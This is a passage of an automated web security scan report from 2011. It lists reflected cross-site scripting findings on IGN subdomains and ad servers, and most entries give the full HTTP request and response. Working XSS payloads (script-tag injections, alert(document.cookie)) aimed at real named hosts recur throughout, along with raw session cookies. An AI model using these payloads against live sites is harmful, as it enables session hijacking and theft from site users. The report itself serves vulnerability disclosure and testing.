Date: Mon, 07 Feb 2011 02:33:22 GMT
Server: Apache/2.2.4 (Unix) DAV/2 mod_fastcgi/2.4.2
Set-Cookie: pubfreq_26286=; domain=pubmatic.com; expires=Wed, 09-Feb-2011 02:33:22 GMT; path=/
Set-Cookie: pubtime_26286=TMC; domain=pubmatic.com; expires=Tue, 08-Feb-2011 02:33:22 GMT; path=/
Set-Cookie: _curtime=1297046002; domain=pubmatic.com; expires=Mon, 07-Feb-2011 03:43:22 GMT; path=/
Set-Cookie: pubfreq_26286_21121_810966823=243-1; domain=pubmatic.com; expires=Mon, 07-Feb-2011 03:13:22 GMT; path=/
Set-Cookie: PMDTSHR=; domain=pubmatic.com; expires=Tue, 08-Feb-2011 02:33:22 GMT; path=/
Vary: Accept-Encoding
P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC"
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 1874

document.write('<div id="http_www_gamestats_comkomli_ads_frame12607626286" style="position: absolute; margin: 0px 0px 0px 0px; height: 0px; width: 0px; top: -10000px; " clickdata=3GUAAK5mAACBUgAA3AEAA
...[SNIP]...
&siteId=26286&adId=21121&adServerId=243&kefact=0.993600&kpbmtpfact=1.104000&kadNetFrequecy=1&kadwidth=728&kadheight=90&kltstamp=1297046002&indirectAdId=0&adServerOptimizerId=2&ranreq=0.5558586933184415b9d2d'-alert(1)-'b8ea009538c&campaignId=476&creativeId=0&pctr=0.000000&pixelId=78&pageURL=http://www.gamestats.com/">
...[SNIP]...

3.441. http://social-services.ign.com/v1.0/social/rest/people/fedreg.45401530/@self [jsonp parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://social-services.ign.com
Path:	/v1.0/social/rest/people/fedreg.45401530/@self

Issue detail

The value of the jsonp request parameter is copied into the HTML document as plain text between tags. The payload 3e9a7<script>alert(1)</script>0baea3929dd was submitted in the jsonp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1.0/social/rest/people/fedreg.45401530/@self?jsonp=jsonp12970405268673e9a7<script>alert(1)</script>0baea3929dd&_=1297040533952 HTTP/1.1
Host: social-services.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.1.10.1297040497; s_pers=%20s_nr%3D1297040527191%7C1299632527191%3B%20s_lv%3D1297040527193%7C1391648527193%3B%20s_lv_s%3DFirst%2520Visit%7C1297042327193%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3D%3B; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; rsi_segs=

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
WWW-Authenticate: OAuth realm="shindig"
Content-Type: application/json;charset=UTF-8
Content-Length: 1763
Date: Mon, 07 Feb 2011 01:03:59 GMT

jsonp12970405268673e9a7<script>alert(1)</script>0baea3929dd({"startIndex":0,"count":1,"totalResults":1,"entry":[{"location":"...Right Behind You!","settings":{"notifyOnWallPostReceived":"false","notifyOnFollowerReceived":"false","notifyOnLevelEarned":"false"},
...[SNIP]...

3.442. http://social-services.ign.com/v1.0/social/rest/people/fedreg.47607874/@self [jsonp parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://social-services.ign.com
Path:	/v1.0/social/rest/people/fedreg.47607874/@self

Issue detail

The value of the jsonp request parameter is copied into the HTML document as plain text between tags. The payload 8d901<script>alert(1)</script>d7b52267c37 was submitted in the jsonp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1.0/social/rest/people/fedreg.47607874/@self?jsonp=jsonp12970405268658d901<script>alert(1)</script>d7b52267c37&_=1297040533952 HTTP/1.1
Host: social-services.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.1.10.1297040497; s_pers=%20s_nr%3D1297040527191%7C1299632527191%3B%20s_lv%3D1297040527193%7C1391648527193%3B%20s_lv_s%3DFirst%2520Visit%7C1297042327193%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3D%3B; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; rsi_segs=

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
WWW-Authenticate: OAuth realm="shindig"
Content-Type: application/json;charset=UTF-8
Content-Length: 1131
Date: Mon, 07 Feb 2011 01:03:59 GMT

jsonp12970405268658d901<script>alert(1)</script>d7b52267c37({"startIndex":0,"count":1,"totalResults":1,"entry":[{"location":"Lexington, KY","settings":{"notifyOnWallPostReceived":"true","notifyOnFollowerReceived":"true","notifyOnLevelEarned":"true"},"type":"St
...[SNIP]...

3.443. http://social-services.ign.com/v1.0/social/rest/people/fedreg.58575107/@self [jsonp parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://social-services.ign.com
Path:	/v1.0/social/rest/people/fedreg.58575107/@self

Issue detail

The value of the jsonp request parameter is copied into the HTML document as plain text between tags. The payload b5b08<script>alert(1)</script>20548e369e1 was submitted in the jsonp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1.0/social/rest/people/fedreg.58575107/@self?jsonp=jsonp1297040526866b5b08<script>alert(1)</script>20548e369e1&_=1297040533952 HTTP/1.1
Host: social-services.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.1.10.1297040497; s_pers=%20s_nr%3D1297040527191%7C1299632527191%3B%20s_lv%3D1297040527193%7C1391648527193%3B%20s_lv_s%3DFirst%2520Visit%7C1297042327193%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3D%3B; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; rsi_segs=

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
WWW-Authenticate: OAuth realm="shindig"
Content-Type: application/json;charset=UTF-8
Content-Length: 1223
Date: Mon, 07 Feb 2011 01:03:59 GMT

jsonp1297040526866b5b08<script>alert(1)</script>20548e369e1({"startIndex":0,"count":1,"totalResults":1,"entry":[{"location":"San Francisco","settings":{"notifyOnWallPostReceived":"false","notifyOnFollowerReceived":"false","notifyOnLevelEarned":"false"},"type":
...[SNIP]...

3.444. http://social-services.ign.com/v1.0/social/rest/people/fedreg.89761569/@self [jsonp parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://social-services.ign.com
Path:	/v1.0/social/rest/people/fedreg.89761569/@self

Issue detail

The value of the jsonp request parameter is copied into the HTML document as plain text between tags. The payload bb821<script>alert(1)</script>341622baa9e was submitted in the jsonp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1.0/social/rest/people/fedreg.89761569/@self?jsonp=jsonp1297040526868bb821<script>alert(1)</script>341622baa9e&_=1297040533952 HTTP/1.1
Host: social-services.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.1.10.1297040497; s_pers=%20s_nr%3D1297040527191%7C1299632527191%3B%20s_lv%3D1297040527193%7C1391648527193%3B%20s_lv_s%3DFirst%2520Visit%7C1297042327193%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3D%3B; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; rsi_segs=

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
WWW-Authenticate: OAuth realm="shindig"
Content-Type: application/json;charset=UTF-8
Content-Length: 1298
Date: Mon, 07 Feb 2011 01:03:59 GMT

jsonp1297040526868bb821<script>alert(1)</script>341622baa9e({"startIndex":0,"count":1,"totalResults":1,"entry":[{"location":"San Francisco, CA","settings":{"notifyOnWallPostReceived":"true","notifyOnFollowerReceived":"false","notifyOnLevelEarned":"false"},"typ
...[SNIP]...

3.445. http://social-services.ign.com/v1.0/social/rest/people/nickname.GrumpyBalloon/@self [jsonp parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://social-services.ign.com
Path:	/v1.0/social/rest/people/nickname.GrumpyBalloon/@self

Issue detail

The value of the jsonp request parameter is copied into the HTML document as plain text between tags. The payload 41c55<script>alert(1)</script>a971daea613 was submitted in the jsonp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1.0/social/rest/people/nickname.GrumpyBalloon/@self?jsonp=jsonp129704052686441c55<script>alert(1)</script>a971daea613&_=1297040533950 HTTP/1.1
Host: social-services.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.1.10.1297040497; s_pers=%20s_nr%3D1297040527191%7C1299632527191%3B%20s_lv%3D1297040527193%7C1391648527193%3B%20s_lv_s%3DFirst%2520Visit%7C1297042327193%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3D%3B; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; rsi_segs=

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
WWW-Authenticate: OAuth realm="shindig"
Content-Type: application/json;charset=UTF-8
Content-Length: 1357
Date: Mon, 07 Feb 2011 01:04:01 GMT

jsonp129704052686441c55<script>alert(1)</script>a971daea613({"startIndex":0,"count":1,"totalResults":1,"entry":[{"settings":{"notifyOnWallPostReceived":"true","notifyOnFollowerReceived":"true","notifyOnLevelEarned":"false"},"type":"Standard","aboutMe":"I love
...[SNIP]...

3.446. http://sports.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://sports.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dfafb"-alert(1)-"c519b67732f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?dfafb"-alert(1)-"c519b67732f=1 HTTP/1.1
Host: sports.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:58:14 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:58:14 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-1131843535-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:14 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043894409v-1n-12mc+1297043894409mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 135121

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Sports Games - Foo
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://sports.ign.com/?dfafb"-alert(1)-"c519b67732f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.447. http://sports.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://sports.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 515c6"><script>alert(1)</script>05834105b35 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?515c6"><script>alert(1)</script>05834105b35=1 HTTP/1.1
Host: sports.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:58:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:58:12 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-183878442-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:12 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043892773v-1n-12mc+1297043892773mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 136016

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Sports Games - Foo
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://sports.ign.com/?515c6"><script>alert(1)</script>05834105b35=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.448. http://stars.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://stars.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e3b3"><script>alert(1)</script>1c1c32d5a72 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?2e3b3"><script>alert(1)</script>1c1c32d5a72=1 HTTP/1.1
Host: stars.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:58:30 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:58:30 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26954-1504222600-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043909870v-1n-12mc+1297043909870mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 141943

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Stars: Picture
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://stars.ign.com/?2e3b3"><script>alert(1)</script>1c1c32d5a72=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.449. http://stars.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://stars.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ac039"-alert(1)-"06521597232 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?ac039"-alert(1)-"06521597232=1 HTTP/1.1
Host: stars.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:58:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:58:31 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-1825-829168805-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043911553v-1n-12mc+1297043911553mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 141883

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Stars: Picture
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://stars.ign.com/?ac039"-alert(1)-"06521597232=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.450. http://tag.admeld.com/ad/json/100/glamtoptier/160x600/420105803 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://tag.admeld.com
Path:	/ad/json/100/glamtoptier/160x600/420105803

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 26033<a%20b%3dc>9772d994d3c was submitted in the REST URL parameter 4. This input was echoed as 26033<a b=c>9772d994d3c in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /ad/json/100/26033<a%20b%3dc>9772d994d3c/160x600/420105803?url=http%3A//thechive.com/%3Fign105ab01%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E958cbd566d4&callback=GlamAdmeldRenderJsAd&floor_price=2&container=ADMELD70271158544 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTAwLCAgc2l0ZTogICAgICAgICAiZ2xhbW1lZGlhIiwgIGFkOiAgICAgICAgICAgMjMzOTQzNSwgIG5ldHdvcms6ICAgICAgImRyaXZlcG0iLCAgc2l6ZTogICAgICAgICAiMTYweDYwMCIsICBmcmVxOiAgICAgICAgICIzLTMiLCAgZGVmYXVsdHM6ICAgICAiMC0wIiwgIHJlcXVlc3Q6ICAgICAgIjVhYmM0OTg4LWQ1MjAtNGMyYi1hMDQzLWYzNGMxY2FlMjEyOSIsICB1c2VyOiAgICAgICAgICI2YWNjY2NhNC1kMGU0LTQ2NGUtYTgyNC1mNjdjYjI4ZDU1NTYiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgInJvcyIsICBkaXY6ICAgICAgICAgICI1YWJjNDk4OC1kNTIwLTRjMmItYTA0My1mMzRjMWNhZTIxMjkiLCAgdXJsOiAgICAgICAgICAiaHR0cDovL3RoZWNoaXZlLmNvbS8iLCAgZWxhcHNlZDogICAgICAwLCAgZGVjaXNpb246ICAgICAiYWQiLCAgaW1wOiAgICAgICAgICA2LCAgbmV0d29ya19pZDogICAzNiwgIGFjY291bnRfaWQ6ICAgMjQ5NSwgIG5ldHdvcmtfbmFtZTogIkRSSVZFcG0iLCAgcHVibGlzaGVyX25hbWU6ICJnbGFtIiwgIGVjcG06ICAgICAgICAgIjIuMDAiLCAgZmVjcG06ICAgICAgICAiMi4wMCIsICBmaWxsOiAgICAgICAgICIzMS42NCIsICBwbGFjZW1lbnQ6ICAgICJyb3MiLCAgcnVsZTogICAgICAgICAiNDIwMTA1ODAzIiwgIGNyZWF0aXZlX2lkOiAgIiIsICBiaWRkZXJzOiAgICAgIFt7Im5ldHdvcmtfbmFtZSI6IlR1cm4gKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjozNDU5NiwgImJ1eSI6MTgzLCJscCI6Imh0dHA6Ly93d3cuaGFycmlldGNhcnRlci5jb20vIiwiYW4iOiJIYXJyaWV0IENhcnRlciIsInN0YXR1cyI6Ij